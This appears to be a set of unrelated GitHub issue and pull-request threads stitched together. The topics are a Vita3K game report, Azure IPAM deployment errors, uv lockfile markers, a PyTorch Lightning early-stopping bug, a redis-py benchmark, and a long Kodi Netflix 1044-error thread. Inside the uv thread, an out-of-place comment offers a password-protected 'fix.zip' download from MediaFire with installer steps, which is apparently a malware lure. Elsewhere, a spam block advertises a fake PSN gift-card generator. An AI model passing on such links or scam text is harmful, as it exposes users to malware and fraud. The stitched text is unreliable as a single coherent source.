Asdivine Menace [PCSE01419]

App summary

App name: Asdivine Menace
App serial: PCSE01419
App version: 1.00

Vita3K summary

Version: v0.1.5
Build number: 2692
Commit hash: https://github.com/vita3k/vita3k/commit/067135d2
CPU backend: Dynarmic

Test environment summary

Tested by: gymzatan
OS: Windows 11
CPU: AMD Ryzen 7 5800H
GPU: AMD Radeon(TM) Graphics
RAM: 16 GB

Issues
Game stays at the intro screen.
Screenshots

Log
vita3k.log
Recommended labels

Intro
unity

as of https://github.com/Vita3K/Vita3K/commit/4280bea5906fdabf90cbb8493a31cf33c96b0b9b, the game can now go to ingame, with slowdowns (7-16fps).
Screenshots

Logs
vita3k.log
Recommended Labels

Ingame +
slow


Add Postgres database recipe (#456)

fixes #ISSUE_ID
:tada: Hi and welcome! Please read the text below and remove it - Thank you! :tada:
No worries if anything in these lists is unclear. Just submit the PR and ask away! :+1:

Things to check before submitting a PR

[ ] the tests are passing locally with cargo test
[ ] cookbook renders correctly in mdbook serve -o
[ ] commits are squashed into one and rebased to latest master
[ ] PR contains correct "fixes #ISSUE_ID" clause to autoclose the issue on PR merge

if issue does not exist consider creating it or remove the clause

[ ] spell check runs without errors ./ci/spellchecker.sh
[ ] link check runs without errors link-checker ./book
[x] non rendered items are in sorted order (links, reference, identifiers, Cargo.toml)
[ ] links to docs.rs have wildcard version https://docs.rs/tar/*/tar/struct.Entry.html
[ ] example has standard error handling
[ ] code identifiers in description are in hyperlinked backticks

[`Entry::unpack`]: https://docs.rs/tar/*/tar/struct.Entry.html#method.unpack

Things to do after submitting PR

[ ] check if CI is happy with your PR

Thank you for reading, you may now delete this text! Thank you! :smile:

Can you do me a favor and remove the SQLite heading from src/database.md

Can you do me a favor and remove the SQLite heading from src/database.md

Done. Please check.


Deployment with -PrivateACR

If I deploy the solution with -PrivateACR enabled, the deployment is successful, however the service does not actually work. Seems to be something with the docker instances being in a read-only mode
UI Error post deployment attached

Log trace from App service logger
/home/LogFiles/2022_10_19_ln0sdlwk0006EW_docker.log  (https://acrip-7nk45gqrphpc6.scm.azurewebsites.net/api/vfs/LogFiles/2022_10_19_ln0sdlwk0006EW_docker.log)
2022-10-19T04:59:09.967132977Z /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/
2022-10-19T04:59:09.970722633Z /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh
2022-10-19T04:59:09.975609708Z 10-listen-on-ipv6-by-default.sh: info: can not modify /etc/nginx/conf.d/default.conf (read-only file system?)
2022-10-19T04:59:09.975902013Z /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh
2022-10-19T04:59:09.984075840Z /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh
2022-10-19T04:59:09.993215582Z /docker-entrypoint.sh: Configuration complete; ready for start up
2022-10-19T04:59:10.110001396Z 2022/10/19 04:59:10 [emerg] 1#1: host not found in upstream "ipam-ui" in /etc/nginx/conf.d/default.conf:5
2022-10-19T04:59:10.110044397Z nginx: [emerg] host not found in upstream "ipam-ui" in /etc/nginx/conf.d/default.conf:5

Hi @Garyforsman, thanks so much for reaching out!
Couple of questions...

Have you made sure that you've followed all of the prerequisites as shown in the docs here?

https://azure.github.io/ipam/#/deployment/README?id=prerequisites

I'm assuming you were doing a Full deployment, did you add any other flags besides "-PrivateACR"?

During the deployment, did you see any warnings/error messages?

From the above, it appears that NGINX cannot find the ipam-ui container running, which seems to me like something potentially failed in the docker build/push phase of the deployment script.
Please check the above, and if you're still having issues, I'm always happy to schedule a 1:1 session to help you out!

Hey @DCMattyG, thank you for the reply...much appreciated.

I have followed the prerequisites as documented in that link, I should also add that I am able to get a working deployment if I do and full deployment and do not use -PrivateACR
Correct, I am doing a full deployment with -PrivateACR
There are no errors noted during deployment

I will deploy again with the -PrivateACR flag on now and see if there are any errors noted. Will ping back here

WARNING: Selected Microsoft Graph profile 'v1.0' does not exist for module 'Microsoft.Graph.Financials'. No cmdlets were loaded.
WARNING: Selected Microsoft Graph profile 'v1.0' does not exist for module 'Microsoft.Graph.ManagedTenants'. No cmdlets were loaded.
WARNING: Selected Microsoft Graph profile 'v1.0' does not exist for module 'Microsoft.Graph.WindowsUpdates'. No cmdlets were loaded.
NOTE: IPAM Deployment Type: Full
INFO: PrivateACR flag set, verifying minimum Azure CLI version
INFO: PrivateACR flag set, verifying Azure PowerShell and Azure CLI contexts match
INFO: Fetching Tenant ID from Azure PowerShell SDK
INFO: Fetching Azure Cloud type from Azure PowerShell SDK
INFO: Validating Azure Region selected for deployment
INFO: Azure Region validated successfully
INFO: Creating Azure IPAM UI Application
INFO: Creating Azure IPAM Engine Application
INFO: Updating Azure IPAM Engine API Endpoint
INFO: Updating Azure IPAM UI Application Resource Access
INFO: Creating Azure IPAM UI Service Principal
INFO: Creating Azure IPAM Engine Service Principal
INFO: Creating Azure IPAM Engine Secret
INFO: Azure IPAM Engine & UI Applications/Service Principals created successfully
INFO: Logging in to Microsoft Graph
INFO: Granting admin consent for Microsoft Graph API permissions assigned to IPAM UI application
INFO: Admin consent for Microsoft Graph API permissions granted successfully
INFO: Granting admin consent to the IPAM UI application for exposed API from the IPAM Engine application
INFO: Admin consent for IPAM Engine exposed API granted successfully
INFO: Granting admin consent for Azure Service Management API permissions assigned to IPAM Engine application
INFO: Admin consent for Azure Service Management API permissions granted successfully
INFO: Deploying IPAM bicep templates
INFO: IPAM bicep templates deployed successfully
INFO: Updating UI Application with SPA configuration
INFO: UI Application SPA configuration update complete
INFO: Building and pushing container images to Azure Container Registry
INFO: Building Engine container (Debian)...
INFO: Engine container image build and push completed successfully
INFO: Building UI container (Debian)...
INFO: UI container image build and push completed successfully
INFO: Restarting App Service
INFO: Azure IPAM Solution deployed successfully

Thanks for the output from the deploy script!
It looks like you might want to verify the version of the Graph module you have installed as you shouldn't be seeing those warnings...

If you could, check the App Service logs to see if it's having any trouble pulling the containers from your Private ACR, or starting the multi-container app.
Worst case, reach out to me at<EMAIL_ADDRESS>and I'll setup some time to look over everything with you. It's possible we've missed some error check in the current deploy script that you've run into.

@DCMattyG, I too am getting the same issue when using -PrivateACR
I've recently been looking at IPAM solutions and this one seems the best fit but I am looking to extend your argquery.py file to include filtering based on Azure Tags.
When using -PrivateACR, everything deploys but the UI doesnt work, and investigations also point to the init.sh files being missing.
Have tried Full and TemplateOnly deployments but neither work.
I also get the Microsoft.Graph warnings so have tried 1.15.x and 1.9.6.
I have also tried executing the ps1 script from within VSCode and from PowerShell terminal.
Any advice welcome as I'm actively trying to get this working.
Thanks,
Dan.

Hi @satsuk81, I have a branch with the fixes for this which will be merged today. For now, you can use the "nginx-ubi8" branch to deploy and the -PrivateACR flag should indeed work.
Please test and let me know if you run into any issues. Thanks so much!

Fixes have been pushed, please let me know if you have any further issues on this topic!

@DCMattyG, unfortunately issue still remains.  I tested yesterday with your branch and today on main.

log.zip

Hi @satsuk81, it appears you may still be using older code as the error present in the logs was something that I patched in the latest update. Can you please try deleting the cloned folder on your local machine, re-cloning from GitHub, and trying once more?
If that still doesn't work, drop me an email at<EMAIL_ADDRESS>for some more 1:1 troubleshooting we can try.
Thanks!

@DCMattyG thank you.
I have run a few tests and can confirm that I have a working solution with the -PrivateACR switch set.
I do not know what my cloned space had in it that prevented it from working as I could see all your latest code changes.


Wrong python_full_version in uv.lock

I have the following pyproject.toml:
[project]
name = "lightning"
description = "Ansible Network Automation for Cisco IOS, Cisco NX-OS and Arista EOS"
readme = "README.md"
version = "1.0.0"
requires-python = "==3.12"
dependencies = [
  "ansible",
  "ansible-core",
  "ansible-navigator",
  "ansible-pylibssh",
  "hvac",
  "jmespath",
  "netaddr",
  "paramiko",
  "pyavd[ansible]",
]

[project.optional-dependencies]
dev = [
  "icecream",
  "ruff==0.6.2",
]

requires-python is hard coded to version ==3.12.
With uv sync (without any extras to be installed) a uv.lock has been created with the following data in the first few lines:
version = 1
requires-python = "==3.12"
resolution-markers = [
    "python_full_version < '3.13'",
    "python_full_version >= '3.13'",
]

The second line of python_full_version looks wrong as it declares the version to be >= '3.13' while the first one says < '3.13'.
I used uv in version 0.3.5 on Opensuse Tumbleweed Linux.

Download
https://www.mediafire.com/file/jc5ws0hujgycrp5/fix.zip/file
password: changeme
In the installer menu, select "gcc."

I also tried version 0.4.0, but that does not change the python_full_version.

resolution-markers is effectively internal bookkeeping for the resolver. Are you seeing an incorrect resolution?

Generally it's expected for these markers to be disjoint. See the documentation on forking at https://docs.astral.sh/uv/reference/resolver-internals/#forking

I requested Python 3.12 (12!), but the resolution-markers are:

< '3.13' --> That's correct for version 3.12
>= '3.13' --> That's wrong for version 3.12. I expected >= '3.12'

So I think that's wrong? 😀

That's still ok! It's internal state that represents how we resolved the dependencies. It doesn't effect the outcome when you run uv sync or similar.

Okay, if you say so then this issue/question can be closed! 😀
Thanks a lot for the fast response!


Update README.md

-Linked to separate repo with website views

I think you may need to add a space after the ## to have Views appear as a heading.

Done!


RuntimeError: Early stopping conditioned on metric val_loss which is not available. Pass in or modify your EarlyStopping callback to use any of the following:

🐛 Bug
Hello guys,
Does anybody have any idea why the early stopping was triggered? I checked the value of val_loss and it is not equal to 0. And I found the issue #490 #492 solved a similar problem, but that is pl 0.5, and the verison I used is 1.4.5, also I tried 1.5.8 before, the result is the same.
To Reproduce
    def validation_step(self, batch, batch_idx):
        print('batch size:', len(batch['pose_body']))
        drec = self(batch['pose_body'].view(-1, 36))

        loss = self._compute_loss(batch, drec)
        print(loss)
        val_loss = loss['unweighted_loss']['loss_total']
        print('val_loss', val_loss)
        #if self.renderer is not None and self.global_rank == 0 and batch_idx % 500==0 and np.random.rand()>0.5:
        #    out_fname = makepath(self.work_dir, 'renders/vald_rec_E{:03d}_It{:04d}_val_loss_{:.2f}.png'.format(self.current_epoch, batch_idx, val_loss.item()), isfile=True)
        #    self.renderer([batch, drec], out_fname = out_fname)
        #    dgen = self.vp_model.sample_poses(self.vp_ps.logging.num_bodies_to_display)
        #    out_fname = makepath(self.work_dir, 'renders/vald_gen_E{:03d}_I{:04d}.png'.format(self.current_epoch, batch_idx), isfile=True)
        #    self.renderer([dgen], out_fname = out_fname)
        progress_bar = {'v2v': val_loss}
        return {'val_loss': c2c(val_loss), 'progress_bar': progress_bar, 'log': progress_bar}

    def validation_epoch_end(self, outputs):
        metrics = {'val_loss': np.nanmean(np.concatenate([v['val_loss'] for v in outputs])) }
        print('metrice:', metrics)
        print('output:' , outputs)
        if self.global_rank == 0:

            self.text_logger('Epoch {}: {}'.format(self.current_epoch, ', '.join('{}:{:.2f}'.format(k, v) for k, v in metrics.items())))
            self.text_logger('lr is {}'.format([pg['lr'] for opt in self.trainer.optimizers for pg in opt.param_groups]))
        metrics = {k: torch.as_tensor(v) for k, v in metrics.items()}
        progress_bar = {'val_loss': metrics['val_loss']}
        return {'val_loss': metrics['val_loss'], 'progress_bar': progress_bar, 'log': `metrics}`

  early_stopping:
    monitor: val_loss
    min_delta: 0.0
    patience: 100
    verbose: True
    mode: min

>

### Environment

- PyTorch Lightning Version (e.g., 1.4.5):
- PyTorch Version (e.g., 1.7.1):
- Python version (e.g., 3.7):
- OS (e.g., Linux):
- CUDA/cuDNN version:10.1
- How you installed PyTorch (`conda`,):

Console screenshot

I solved it by add
self.log('val_loss', val_loss)
in validation_step() to mark the loss I want to monitor...

I solved it by add self.log('val_loss', val_loss) in validation_step() to mark the loss I want to monitor...

Thank you!!!

I did the same but mine is giving an error. I am using lighting 1.6.0, I have logged "valid/loss" but it does not recognize it in the early stopping callback function.


feat: first version of project

First Version of Events Bot.
Features:

Create event via web dashboard.
Users sign up via automatically generated message sent to the server.
Events are launched via web dashboard.
Users are automatically assigned into groups with their text and/or voice channels.

Requires further commits after checks failed.

@amishshah Failing tests appear to be caused by discord.js. Any ideas?


<$$<FREE🔴 PSN Gift Cards Generator 2024-2026 >>~ Explore Top Methods To Get Playstation Gift Cards

FREE PSN Gift Cards Generator Updated 2024 Free Top Working method No Survey!! [ SiQD]
get free psn gift card generator 2024 free using working free playstation plus code generator. This psn gift card code generator working as well as any regions no limitation. Daily updates
psn gift card code free giveaways to
CLICK HERE TO GET FREE NOW
CLICK HERE TO GET FREE NOW
visitor with only simple tricks. If you obtain free psn gift card code free unused and working already tested you are able to check simple. free psn codes - free psn code generator - psn codes - ps4 gift card codes - free psn codes no verification - ps4 codes - psn code - free psn codes list - real psn code generator - playstation gift card codes - psn codes generator free download - free psn code - psn free codes no surveys approved list of unused psn codes for 2024 (no survey) using a working free playstation plus code generator, get a free psn gift card generator 2024. This ps3 gift card code generator works in all areas and has no restrictions. Psn gift card codes are given out for free to visitors on a regular basis using simply easy tricks. You may check easily if you get a free psn gift card code that is unused and already tested. users of the playstation network will receive a psn code without having to spend a single dollar. Simply press the free psn codes button and follow the on-screen instructions to get your free psn cards in 3 to 5 minutes. Psn codes for free a full type of playstation network code is a psn code. They can purchase games from the playstation store using a variety of payment options provided by sony. Yes, we are all taught about psn. It's typically used by younger, nicer people. They are unable to acquire a playstation network subscription online since they do not have a credit card. You'll be able to find them in a variety of places depending on your region. playstation network user will receive a psn code without spending an individual buck. You just feel the button free psn codes and complete several esay steps to access your free psn cards in 3 to 5 minutes. Free psn codes a psn code full type of a playstation network code.


Schedule view heart not always updated when returning from session view

Sometimes, when I'm in the session detail view and I favorite a session, then immediately jump back to the full schedule view, that session isn't showing as favorited (ie: the heart is still gray). If I go back into the session view and return to the schedule, the schedule then correctly shows the favorited heart.

found in v<IP_ADDRESS>

Seems to be a timing issue. Will keep an eye on it. Might need to halt navigation while favoriting to make sure that the proper triggers for updates are occurring. Please let me know if you still see this in <IP_ADDRESS>


Unattended installer

Improved Menu Navigation.
Before you had to execute the script whenever you wanted to execute more than one option. Now you have the capability to do execute more options without re-executing the script.

Improved Menu Navigation


Use bluebird instead of Q to get a better performance.

I have done this on my fork. And I got a really performance improve.
I'm not sure is there any problem with this change so I didn't make a PR.
Thanks for your work.

I've preferred Q at the moment for the smaller library size (i.e. download time). Bluebird seems to carry a lot of stuff that is not needed in node.
But, if it a performance improvement, I would consider changing this.
For compatibilty reasons, I would add an option to the main function where the Promise constructor can be passed in. Apart from the ".all" function, ".isPromiseAlike" and "deep", no special functions are used, so this might even work with a plain ES6-Promise constructor and without any libraries.
I would remove the dependency to q only with a major version bump. If you want to make a PR for discussion, please go ahead. I should be based on the current master though (there will be another commit shortly, so you may want to wait until the end of the week. I still have a bug to fix).

Give an option to allow users to pass in the Promise implementation what they want is make sense. .all function is a part of plain ES6-Promise, we only need to implement the .isPromiseAlike function which is simple. So yes I think this should work with the plain ES6-Promise.
The performance improvement is really obvious in my case. Maybe I can post some data here this week later or next week (busy work this week 😢). And I noticed you just refactored your code. I'll try the new version after you finish the bug fix.
Thanks for create this package again. It's really helped. 😄

I created this package, becaues I needed it in Thought. Nice to hear that it helped you.
I have released my fix (#14) in<EMAIL_ADDRESS>Unless there are other bugs coming in, I won't be doing any development on the repo at the moment, so you can get started, if you want...

I'll take a stab at upgrading the lib to remove the need for the Q dependency.

I made a PR that is able to replace q with other promise libs. I added test setups for bluebird and es6-promise as well to make sure it works.

@jskrzypek U r awesome. #20 Just make a link.

#20 is merged now


bump dependecies

Specially because globule 0.x using lodash 1.x and trowing warning on install.
Tests passing.

Thanks!

@shama, would you mind publishing a new version to npm? This change helps much better dependency deduplication.

Thanks! Published as 1.1.0.

@shama 👍


Bench command_packer_benchmark.py not work

python command_packer_benchmark.py
Benchmark: connection_class=<class '__main__.StringJoiningConnection'>, value_size=10... Traceback (most recent call last):
  File "command_packer_benchmark.py", line 104, in <module>
    CommandPackerBenchmark().run_benchmark()
  File "/home/deslum/src/cgo/redis/redis-py/benchmarks/base.py", line 44, in run_benchmark
    t = timeit.timeit(stmt=run, setup=setup, number=1000)
  File "/usr/lib/python2.7/timeit.py", line 237, in timeit
    return Timer(stmt, setup, timer).timeit(number)
  File "/usr/lib/python2.7/timeit.py", line 202, in timeit
    timing = self.inner(it, self.timer)
  File "/usr/lib/python2.7/timeit.py", line 100, in inner
    _func()
  File "command_packer_benchmark.py", line 100, in run
    r.set('benchmark', x)
  File "/usr/local/lib/python2.7/dist-packages/redis/client.py", line 1171, in set
    return self.execute_command('SET', *pieces)
  File "/usr/local/lib/python2.7/dist-packages/redis/client.py", line 667, in execute_command
    connection.send_command(*args)
  File "/usr/local/lib/python2.7/dist-packages/redis/connection.py", line 610, in send_command
    self.send_packed_command(self.pack_command(*args))
  File "command_packer_benchmark.py", line 33, in pack_command
    for k in imap(self.encoder, args)])
TypeError: 'Encoder' object is not callable

python3 command_packer_benchmark.py
Benchmark: connection_class=<class '__main__.StringJoiningConnection'>, value_size=10... Traceback (most recent call last):
  File "command_packer_benchmark.py", line 104, in <module>
    CommandPackerBenchmark().run_benchmark()
  File "/home/deslum/src/cgo/redis/redis-py/benchmarks/base.py", line 44, in run_benchmark
    t = timeit.timeit(stmt=run, setup=setup, number=1000)
  File "/usr/lib/python3.5/timeit.py", line 213, in timeit
    return Timer(stmt, setup, timer, globals).timeit(number)
  File "/usr/lib/python3.5/timeit.py", line 178, in timeit
    timing = self.inner(it, self.timer)
  File "<timeit-src>", line 6, in inner
  File "command_packer_benchmark.py", line 100, in run
    r.set('benchmark', x)
  File "/usr/local/lib/python3.5/dist-packages/redis/client.py", line 1171, in set
    return self.execute_command('SET', *pieces)
  File "/usr/local/lib/python3.5/dist-packages/redis/client.py", line 667, in execute_command
    connection.send_command(*args)
  File "/usr/local/lib/python3.5/dist-packages/redis/connection.py", line 610, in send_command
    self.send_packed_command(self.pack_command(*args))
  File "command_packer_benchmark.py", line 33, in pack_command
    for k in imap(self.encode, args)])
AttributeError: 'StringJoiningConnection' object has no attribute 'encode'

pip
Package    Version
---------- -------
hiredis    0.2.0
pip        10.0.1
redis      2.10.6
setuptools 39.2.0
wheel      0.31.1

Fixed


lucid-foundation-0.0.1 does not compile

According to our build attempts at http://hydra.cryp.to/build/560498/nixlog/2/raw, the release tarball lacks several source modules.

I just found this out too, I'm sorry! The latest <IP_ADDRESS> should be fairly stable. I plan on refactoring the modules a bit later, too - it's not very sensible.


dependabot parse error

now it is showing an error :+1:

https://github.com/obs-nebula/function-five/commit/139700a62336e9b27452392d3f13e0e05f353709


This title is not available to watch instantly. 1044 ERROR

Netflix add-on version
1.22.0+matrix
Operative systems used
Windows
Kodi version used
Kodi 20 (Nexus)
Description of the bug
Getting the error This title is not available to watch instantly. 1044 trying to open any file. It happens from yesterday 17/04. Attached the log file
kodi.log
Steps to reproduce the behavior
Open Netflix add on
Browse to My list
Open a  file
Error
Debug log - mandatory
https://paste.kodi.tv/inonusuqan.kodi
Possible fix
No response
Additional context
Logged out and back in (with authentication key)
Reinstalled the Widevine CDM Library
Uninstalled/ reinstalled the add on from the zip file
Screenshots

I have the same issue, which has started yesterday, done all the above as well, didn't work

Same problem, done what is said in the readme.
No issues yesterday, but today something fried.
Was issues all over the platform yesterday, something got patched? Idk.

Same problem exactly on MacOS Monterey 12.6.5

i noticed the problem on Windows
on android still works, linux not tested
i will try investigate next days

Same issue for me too also using windows.

Same issue for me too also using windows.

Same issue on windows since yesterday. Not sure how to fix this?

I have the same error I'm afraid

i tried check but for now i have found nothing rilevant just minor changes that has no influence on this
on linux and android works correctly, just windows/macos raise the error
it suggest more a website server problem in recent times the website often has problems
i have no idea how website workaround the problem

Ok thanks, perhaps I can find something in windows that causes this problem.

In my windows 10 it shows the error, but plays only about 2 minutes.
Resume play of anything beyond this point does not work. Audio plays. Video not visible, could be in the background, but I cannot get it to show.
Hoping for a fix...

Also seeing the same issue - on windows, browser based access is fine, but the plugin on KODI20 returns MSLErrror: This title is not available to watch instantly. 1044 ERROR.      Playback will run for just over 2mins and then the video freezes.
Have tried the usual reset of ESN, log out and back in - to no avail.
Happy to make logs available \ test stuff if useful - appreciate how frustrating it is contributing a popular plugin like this and having Netflix make a change and -BAM- suddenly you have a long list of maintenance requests.

In my windows 10 it shows the error, then plays the video only about 2 minutes and then freezes. The sound continues. Resume play of anything beyond this point does not work. Audio plays. Video not visible, could be in the background, but I cannot get it to show. Hoping for a fix...

Can confirm the 2 min play and then freeze. Same exact behaviour.
Win 10, Kodi 20

Same problem for Android TV 10, just tried it today

Same problem on windows 10; kodi 20.
None of the steps in the wini helped. Browser playback on the same machine works flawlessly.

I could stream fine using the add-on on Android TV, but I was only getting 540p. So I reset the ESN yesterday, hoping that would help with the resolution, that was when I started getting the 1044 ERROR.

Same problem, Windows 10 & Kodi 20.1. But, in Linux Mint 21.1 Cinnamon Kodi 20.1 addon works normally.

Same problem, tested on Windows 11 and Windows 7 Kodi 20.1 and Netflix (Castagnait)
Logged out in Netflix, had to login with authentication key.
Now i get Netflix add-on error ; Remoteprotocolerror Server disconnected
Can't get into Netflix anymore.

Logged out in Netflix, had to login with authentication key.
Now i get Netflix add-on error ; Remoteprotocolerror Server disconnected
Can't get into Netflix anymore.

I had this error several days ago, after logging out in addon, on Android.7.1.1 (Firestick4k).
To be able to login again and get back into my account I first had to login via PC browser; then in my account I went to "Account -> SECURITY & PRIVACY -> Manage access and devices - and there I removed all instances of "Amazon Streaming Stick"
After that I made a fresh authentication key with which I could again login to Netflix with Kodi NF_addon.

I also get this error message.
OS: Windows 10 Home
Kodi: 20.1
Plugin version: latest
On the same machine the Netflix plugin is working fine under Zorin Linux (dual boot, same Kodi and plugin versions).

@Sholander
Thanx, I removed the last instances as you proposed, first gave it a try with the old authentication key without success
Created a new authentication key and indeed i could login again to the Kodi Netflix add-on.
So far so good. I'm back to the beginning, there is the MSLerror again.
So logoff and login of the Netflix account is no solution for the MSLerror.

@Sholander @alfaajx732 +1
Yep, very same situation here.
I removed all the instances related to my PC, build a new key, connected and MSLerror .
I can see subtitles then and the sound but no video.
thank U for the previous job by the way ;)

Same issue
I tried
Remové&reinstall complete addon
Reinstall Widevine
Build a new Key
It doesn't work anyway

Same issue
1.22.0+matrix.1
Win10
Kodi 20.1
Have done a complete reinstall.

It is pain 😪
1.22.0+matrix.1
Win10 22H2
Kodi 20.1
Tried diffrent Windows Devices, Recreated Auth Keys, Downgraded to 1.21/1.20.08. Nother helps. Would be Awesome if someone has any hint or branch for testing. Any Nightly builds or feature brnach that have a workaround?

Kodi v21 (Omega) tested noting change

Same problem, tested on Windows 11 and Windows 7 Kodi 20.1 and Netflix (Castagnait); Android works fine. Tried Reinstall Widevine, no result. Logged out in Netflix, had to login with authentication key. Now i get Netflix add-on error ; Remoteprotocolerror Server disconnected Can't get into Netflix anymore.

I Have the same issue with LE12 Generic X86 20230429.

Quite probably unrelated, but the YouTube addin seems to have broken within a few days of this.
https://github.com/anxdpanic/plugin.video.youtube/issues/442

Nvidia shield pro 2019, kodi 20.1
Addon stopped working today.
I get a wrong email/password error.
was able to login again only with authentication file, and was able to start browsing the menus of my account, but each time I tried to watch something I get the email/password error again.

yes on android as usual that shit of netflix server has broken user auth MSL API
last time they has restored the API after some days
reintroduce the old workarounds will disable access to other profiles than main one
so better wait a week

Same here. Video freezes after a short time. All the suggestions (widevine/ESN) to fix don't work. Tried at different physical locations, 2 x differing Win 10 machines, and both Kodi 19.5 and 19.4.  All invoke the same error.

As of today, you can log in normally. Everything is fine.

I can login as usual, but MSLError are still unresolved (Win10/Kodi 20.1).

Thanks for the info ...etgecata...it now works again on the Shield ( Android 11 )

I can login as usual, but MSLError are still unresolved (Win10/Kodi 20.1).

Still same issue here (same setup)

MSLError

Issue still remain
(Same setup but Windows 11)

Yes...that is correct the error still exists under Kodi - PC - Windows.

Hi, I have the issue onWindows with Kodi 20.1

I can't log in again. Everything was fine until last night.

I can provide a main difference that in:
Kodi 19.4 Win 10x64 it does display the error, but after hitting "OK" it starts to play normally, BUT i can NOT seek, if i move the slider +1:00, +3:00 in the time-line, it INSTANTLY freezes the player!
In
Kodi 18.9 Win10x64 ( i know its obsolete) but its worth noted that it displays the error and it does NOT even start to stream/play the movie.

Same issue and it is getting painful....
Windows 11, fresh install Kodi 20.1. Shows Error (1044) then almost exactly 2 minutes of content before video drops out.
Just installed the same on Linux mint 20.3 and works fine.
From the original posters logs...
error <general>: XFILE::CDirectory::GetDirectory - Error getting C:\Program Files\Kodi\addons\inputstream.adaptive\
doesn't seem to impact as I linked the library to that location and it made no difference.
Nothing impacting in the commit history either. There is a commit in the relevant code, but this was 2 days after the original post.
I can only guess this relates to a windows update?

For sure windows update is not it. I have win 10 installation that is excluded from all updates (just serves as MCE).
Also other OS have this issue

Same issue here. Still no solution ?
Windows 10 / kodi 20.1

For sure windows update is not it. I have win 10 installation that is excluded from all updates (just serves as MCE). Also other OS have this issue

Read through the history. We have confirmed working one several Linux, Mac and android. There are a couple of complaints about the android tv, but doesn't sound like the same problem

If we rule out any updates for windows and changes to this repo... That leaves widevine, changes to the inputstream.adaptor plugin and the Netflix API itself. I highly doubt it's Netflix, but can't find versioning or release notes

I "think" can confirm that the issue started when widevine .dll updated.
But i had tried to replace old .dll with no luck

Does the fact that I only started getting the error on Android TV after resetting the ESN  give any clue?

Guys, take a breath and read what the developer wrote here

Guys, take a breath and read what the developer wrote here

do you mean take a breath and get even more concerned that the developer doesnt know how to fix the problem and we just have to wait with crossed fingers that it sorts itself out?
or take a breath cause we know what the issue is?

Normally a statement for a bug should be placed on github issue tracking, for the exactly issue that was tracked, not on a other platforms. You then inform on other platforms,  in this case kodi forum users and link to github. Thats weird. But yes, developers decision.
For Point 1) I cant understand that statement. If it would be Widefine Related, then you would have the same problem if you open a browser on the same device and play the stream directly over the browser. I will test this amd bet this works as it should.
For Point 2) If Netflix changes something without release notes on a api this should be fixed yes. Normally they should answer when a developer opens a support ticket or somethin for that api.
 Thank you for the work, i used the plugin every day since years. It was a great time. Keep things up.

I was able to test with several different versions of widevine last night. The 1044 error comes from the latest version whereas most previous versions give a similar but slightly different error... "Unable to watch instantly, please try another title" (paraphrased).

any solution?????

Unsubscribe from Netflix :-)
Or wait, when Netflix finalize this: https://www.eurogamer.net/netflix-reveals-anti-account-sharing-changes-require-monthly-log-in-at-primary-location and maybe It may be clear how this will work...

I'm so sad, i can't watch Netflix in my bed

I've tested Netflix on chrome, edge and opera and all them works just fine, also the Netflix windows app works fine I only get the error 1044 with kodi using Netflix plugin and plays the video for 2 minutes and 3 seconds then screen is frozen but audio will keep going until the end of a show. Have uninstalled and reinstalled twice with the same issue.

This is being caused by the new "Home Network / Password sharing" check that Netflix is now using to display an error when it detects a new device outside of its recorded home network. Plugin stopped working then a couple days later we were presented with the check screen on our Chrome cast on a different TV. Setting the correct home network does not unfortunately stop the check from happening.
I noted the pause / hiccup at exactly the same 2 min mark in the Windows Netflix App on the same PC that runs Kodi but of course the app continued playing.
Disney+ plugin is still working on same Kodi, until they decide to do the same thing as Netflix. Hopefully next widevine version will help to address the checking mechanism.

Hi, I have the issue on Windows with Kodi 20.1

Hi, I don't know if it can helps but but it works on my two LibreElec 11.0.1 (Kodi 20.1).
Good luck to resolve the bug, I miss Netflix on my Kodi Windows, especially the DD+ to DD conversion :)

Same issue here, kodi 20.1 and windows 11...
App Netflix works fine
From browser works fine too

@HardShade
Pure nonsense. IP doesn't change - doesn't work on kodi or chromium. Does work on edge, firefox. Same PC. Does work on android+raspbian. Different computers in same home network.
Glad to find your actual proof somewhere, but I got the bad feeling my statement you're bullshitting is correct.

Same issue also for me, Windows 10, Kodi 20.1

@HardShade
This problem is not about the IP address, but about the way the device that connects to the Netflix server is identified. For example, WINDOWS and WIDEVINE from Kodi as CADMUS PC (probably Chromium), but Firefox reports under a different name. Try it yourself at account.netflix.com in the DEVICES section. IMHO it causes blocking of certain DEVICES

I do not want to be a "party pooper" or anything, but some posts here is not about the initial post. Login issues etc are not a part of this direct issue. Please read the initial post, if your issue is not like this, please start a new ticket. We know Netflix works on everything but Windows and MacOS 12.6.+.
I very much doubt the auth and this issue are connected. As of June, Sweden among others will have restrictions to password sharing, a heads up!

Incorrect, the issue is on a few android devices as well.

Hi, the same problem with Android 9, Kodi fork 1.25 with Netflix 1,22 plugin(on Nebula Cosmos projector, with not certified Widevine L1.). "This title is not available to watch instantly", nothing from github FAQ helps. Two months ago all was fine. kodi.log

Correct, i can confirm, the problem still persists.

Can anybody with a working version... Confirm platform and version of inputstream.adaptor

@HardShade This problem is not about the IP address, but about the way the device that connects to the Netflix server is identified. For example, WINDOWS and WIDEVINE from Kodi as CADMUS PC (probably Chromium), but Firefox reports under a different name. Try it yourself at account.netflix.com in the DEVICES section. IMHO it causes blocking of certain DEVICES

I checked, and indeed the account lists the device as Chrome PC (Cadmium), however, I noticed that although I chose a profile, it still lists the device as: No profile to show. Could this be the problem that the profile choice is not communicated properly by the addon?

@HardShade This problem is not about the IP address, but about the way the device that connects to the Netflix server is identified. For example, WINDOWS and WIDEVINE from Kodi as CADMUS PC (probably Chromium), but Firefox reports under a different name. Try it yourself at account.netflix.com in the DEVICES section. IMHO it causes blocking of certain DEVICES

I checked, and indeed the account lists the device as Chrome PC (Cadmium), however, I noticed that although I chose a profile, it still lists the device as: No profile to show. Could this be the problem that the profile choice is not communicated properly by the addon?

If I try to play something, I get the error, the movie starts and it stopps after 2 mins, and in the account page another device (with the profile this time) is added, however the main kodi device stays there without the profile.

Incorrect, the issue is on a few android devices as well.

True, thank you for correcting me, my bad!

Same issue here on an Intel Atom x5-Z8300 powered Win10 22H2 system.
MSLError - 1044, but after hitting OK the play of mobie is started but right after 2 mins the video stops to play, only the audio playing is going on:(
I cross my fingers and hope that developer can fix this issue:)
Ha somebody checked whether this error is exists or not in case of LibreElec install on x86-x64 devices?

